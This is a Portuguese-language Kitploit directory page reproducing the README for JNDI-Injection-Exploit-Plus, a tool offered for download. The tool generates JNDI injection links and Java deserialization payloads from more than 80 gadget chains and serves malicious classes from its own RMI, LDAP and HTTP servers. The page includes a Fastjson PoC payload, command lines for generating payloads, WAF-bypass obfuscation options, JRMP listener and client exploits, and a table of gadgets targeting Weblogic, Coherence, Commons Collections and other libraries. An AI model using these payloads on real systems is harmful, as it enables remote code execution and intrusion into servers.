Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
JNDI-Injection-Exploit-Plus — Gera links de injeção JNDI funcionais e payloads de desserialização com mais de 80 gadgets, suportando servidores RMI, LDAP e HTTP para testes automatizados de vulnerabilidades. | Kitploit
Ferramentas/GitHubGitHub/cckuailong/jndi-injection-exploit-plus
Frameworks de ExploraçãoAnálise de VulnerabilidadesExploração de Aplicações WebTestes de PenetraçãoDesenvolvimento de Payloads
GitHubcckuailong/jndi-injection-exploit-plus

JNDI-Injection-Exploit-Plus

Gera links de injeção JNDI funcionais e payloads de desserialização com mais de 80 gadgets, suportando servidores RMI, LDAP e HTTP para testes automatizados de vulnerabilidades.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
880114há 2 anosRevisado pelo Kitploit

JNDI-Injection-Exploit-Plus

中文 README

Descrição

O JNDI-Injection-Exploit-Plus é uma ferramenta para gerar links JNDI funcionais e fornecer serviços de fundo iniciando servidores RMI, LDAP e HTTP.

Usando esta ferramenta, você pode obter links JNDI e inseri-los em seu POC para testar vulnerabilidades.

Por exemplo, este é um Fastjson vul-poc:

root@kitploit:~
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}

Podemos substituir "rmi://127.0.0.1:1099/Object" pelo link gerado pelo JNDI-Injection-Exploit-Plus para testar a vulnerabilidade.

Além disso, você também pode usar o JNDI-Injection-Exploit-Plus para gerar payloads do tipo base64/hex como ysoserial

Mais que JNDI-Injection-Exploit

JNDI-Injection-Exploit é uma ótima ferramenta, esta é a versão plus dela.

O que há a mais

1. Mais Gadgets de Referência Remota JNDI: (total: 3)

  • Suporte JDK 6/7/8

2. Mais Gadgets de Referência Local JNDI: (total: 4)

3. Gadgets de Desserialização (total: 75)

P.S. Mais Gadgets (⬆️ ) que o ysoserial, sejam bem-vindos a enviar PR com mais! ^_^

4. Gerar e exportar payloads

Como ysoserial.

Você pode gerar os payloads de desserialização com saída do tipo Base64 ou HEX.

5. Wrapper

Alguns Wrappers para encapsular os dados de desserialização.

WrapperExemplos de Vuls
XstreamCVE-2021-39149
ApereoApereo 4.1 Desserialização RCE
  • Exemplo
root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream

6. Fusão

Oculta o nome da classe para contornar WAF.

  • Exemplo
root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -F

Referência: https://www.leavesongs.com/PENETRATION/utf-8-overlong-encoding.html

Serviço web para retornar Gadgets de Desserialização

root@kitploit:~
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar
root@kitploit:~
POST /deserial/{Gadget}

cmd={comando}&wrapper={wrapper}output={base64/hex}

P.S. Os parâmetros wrapper e output são opcionais.

Uso

Links JNDI

Execute como

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [comando] [-A] [endereço]

onde:

  • -C - comando executado no classfile remoto.

    (opcional, o comando padrão é "open /Applications/Calculator.app")

  • -A - o endereço do seu servidor, pode ser um IP ou um domínio.

    (opcional, o endereço padrão é o primeiro endereço de interface de rede)

Pontos de atenção:

  • certifique-se de que as portas do seu servidor (1099, 1389, 8180) estão disponíveis.

    ou você pode alterar a porta padrão na classe run.ServerStart.

  • seu comando é passado para Runtime.getRuntime().exec() como parâmetros,

    então você precisa garantir que seu comando funcione no método exec().

    Comandos em bash como "bash -c ...." precisam de aspas duplas.

Payloads de Desserialização

Execute como

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar [-C] [comando] [-D] [Gadget] [-O] [base64/hex]

onde:

  • -C - comando executado no classfile remoto.

    (opcional, o comando padrão é "open /Applications/Calculator.app")

  • -D - O nome do payload do Gadget de desserialização.

  • -O - (Opcional) O tipo de saída da desserialização, o padrão é base64.

Exploits de Desserialização

JRMP

  • JRMPListener
root@kitploit:~
java -cp JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar exploit.JRMPListener <porta> CommonsCollections1 calc
  • JRMPClient
root@kitploit:~
java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "<ip>:<porta>" -D "JRMPClient" -O base64

Exemplos

Links JNDI

Demonstração local:

  1. Inicie a ferramenta assim:

    root@kitploit:~
    $ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
    

    Captura de tela:

  2. Suponha que injetamos os links JNDI como rmi://ADDRESS/remoteExploit8 gerado no passo 1 em uma aplicação vulnerável que pode ser atacada por injeção JNDI.

    Neste exemplo, fica assim:

    root@kitploit:~
    class Test{
        public static void main(String[] args) throws Exception{
            InitialContext ctx = new InitialContext();
            ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
        }
    }
    

    então, quando executamos este código, o comando será executado,

    e o log será impresso no shell:

Para mais exemplos: Test-JNDI-Injection-Exploit-Plus

Payloads de Desserialização

root@kitploit:~
$ java -jar JNDI-Injection-Exploit-Plus-2.5-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64

Resultado da saída Base64:

Instalação

Podemos selecionar um dos dois métodos para obter o jar.

  1. Baixe o último jar de Releases.

  2. Clone o código fonte para local e compile (Requer Java 1.8+ e Maven 3.x+).

    root@kitploit:~
    $ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git
    
    root@kitploit:~
    $ cd JNDI-Injection-Exploit-Plus
    
    root@kitploit:~
    $ mvn clean package -DskipTests
    

P.S. ‼️ Se você receber o erro "java.rmi.xxx does not exists", defina a variável de ambiente JAVA_HOME.

Aviso Legal

Todas as informações e códigos são fornecidos exclusivamente para fins educacionais e/ou teste de seus próprios sistemas para essas vulnerabilidades.

Baixar ferramenta
Payloadautordependências
Tomcat 8+ ou SpringBoot@welk1ntrustURLCodebase é false mas tem Tomcat 8+ ou SpringBoot 1.2.x+ no classpath
Groovy (GroovyClassLoader)@cckuailongtrustURLCodebase é false mas tem Tomcat e Groovy no classpath
Groovy (GroovyShell)@cckuailongtrustURLCodebase é false mas tem Tomcat e Groovy no classpath
Websphere Readfile@cckuailongtrustURLCodebase é false mas tem WebSphere v6-v9 no classpath
payloadautordependências
AspectJWeaver@Jangaspectjweaver:1.9.2, commons-collections:3.2.2
BeanShell1@pwntester, @cschneider4711bsh:2.0b5
C3P0@mbechlerc3p0:0.9.5.2, mchange-commons-java:0.2.11
C3P0Tomcat@yulegeyutomcat, com.mchange:c3p0:0.9.5.2, com.mchange:mchange-commons-java:0.2.11
Click1@artsploitclick-nodeps:2.3.0, javax.servlet-api:3.1.0
Clojure@JackOfMostTradesclojure:1.8.0
Coherence1 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence2 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence3 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0
Coherence4 ⬆️@cckuailongcoherence:3.7.1.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
Coherence5 ⬆️@cckuailongcoherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
Coherence6 ⬆️@cckuailongcoherence:12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
CommonsBeanutils1@frohoffcommons-beanutils:1.9.2
CommonsBeanutils2 ⬆️@cckuailongcommons-beanutils:1.9.2
CommonsCollections1@frohoffcommons-collections:3.1
CommonsCollections1_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections2@frohoffcommons-collections4:4.0
CommonsCollections2_1 ⬆️@cckuailongcommons-collections4:4.0
CommonsCollections3@frohoffcommons-collections:3.1
CommonsCollections3_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections4@frohoffcommons-collections4:4.0
CommonsCollections5@matthias_kaiser, @jasinnercommons-collections:3.1
CommonsCollections5_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6@matthias_kaisercommons-collections:3.1
CommonsCollections6_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6_2 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections6_3 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections7@scristalli, @hanyrax, @EdoardoVignaticommons-collections:3.1
CommonsCollections7_1 ⬆️@cckuailongcommons-collections:3.1
CommonsCollections8 ⬆️@cckuailongcommons-collections4:4.0
CommonsCollections9 ⬆️@cckuailongcommons-collections:3.2.1
CommonsCollections10 ⬆️@cckuailongcommons-collections:3.2.1
CommonsCollections11 ⬆️@cckuailongcommons-collections:3.1
FileUpload1@mbechlercommons-fileupload:1.3.1, commons-io:2.4
Groovy1@frohoffgroovy:2.3.9
Hibernate1@mbechler
Hibernate2@mbechler
Jackson ⬆️@y4ercom.fasterxml.jackson.core:jackson-databind:2.14.2
JBossInterceptors1@matthias_kaiserjavassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jdk7u21@frohoff
JRMPClient1@mbechler
JRMPClient2 ⬆️@cckuailong
JRMPClient3 ⬆️@cckuailong
JRMPClient4 ⬆️@cckuailong
JRMPClient5 ⬆️@cckuailong
JRMPClient6 ⬆️@cckuailong
JRMPListener1@cckuailong
JSON1@mbechlerjson-lib🫙jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
JavassistWeld1@matthias_kaiserjavassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
Jython1@pwntester, @cschneider4711jython-standalone:2.5.2
MozillaRhino1@matthias_kaiserjs:1.7R2
MozillaRhino2@_tint0js:1.7R2
Myfaces1@mbechler
Myfaces2@mbechler
ROME1@mbechlerrome:1.0
ROME2 ⬆️@firebaskyrome:1.0
Scala1 ⬆️@jarijorg.scala-lang:scala-library:2.13.x
Spring1@frohoffspring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
Spring2@mbechlerspring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
Spring3 ⬆️@cckuailongspring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2
URLDNS@geblapenas jre para detecção de vulnerabilidade
Vaadin1@kai_ullrichvaadin-server:7.7.14, vaadin-shared:7.7.14
Weblogic1 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
Weblogic2 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
Weblogic3 ⬆️@cckuailongcom.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager
Weblogic4 ⬆️@cckuailongweblogic.common.internal.WLObjectOutputStream
Weblogic5 ⬆️@cckuailongweblogic:12.2.1.4, coherence
Weblogic6 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
Weblogic7 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4
Weblogic8 ⬆️@cckuailongweblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic9 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic10 ⬆️@cckuailongweblogic:10.3.6.0, 12.1.3.0, 12.2.1.3, 12.2.1.4, 14.1.1.0
Weblogic11 ⬆️@cckuailongweblogic:12.2.1.3, 12.2.1.4, 14.1.1.0
Wicket1@jacob-baineswicket-util:6.23.0, slf4j-api:1.6.4
WildFly1 ⬆️@hugoworg.wildfly:wildfly-connector:26.0.1.Final
JbossRemoting
Jboss Remoting Port Unserialization
GzipAlgumas interfaces yonyou usam Gzip
DirtyInsere muitos dados sujos para contornar WAF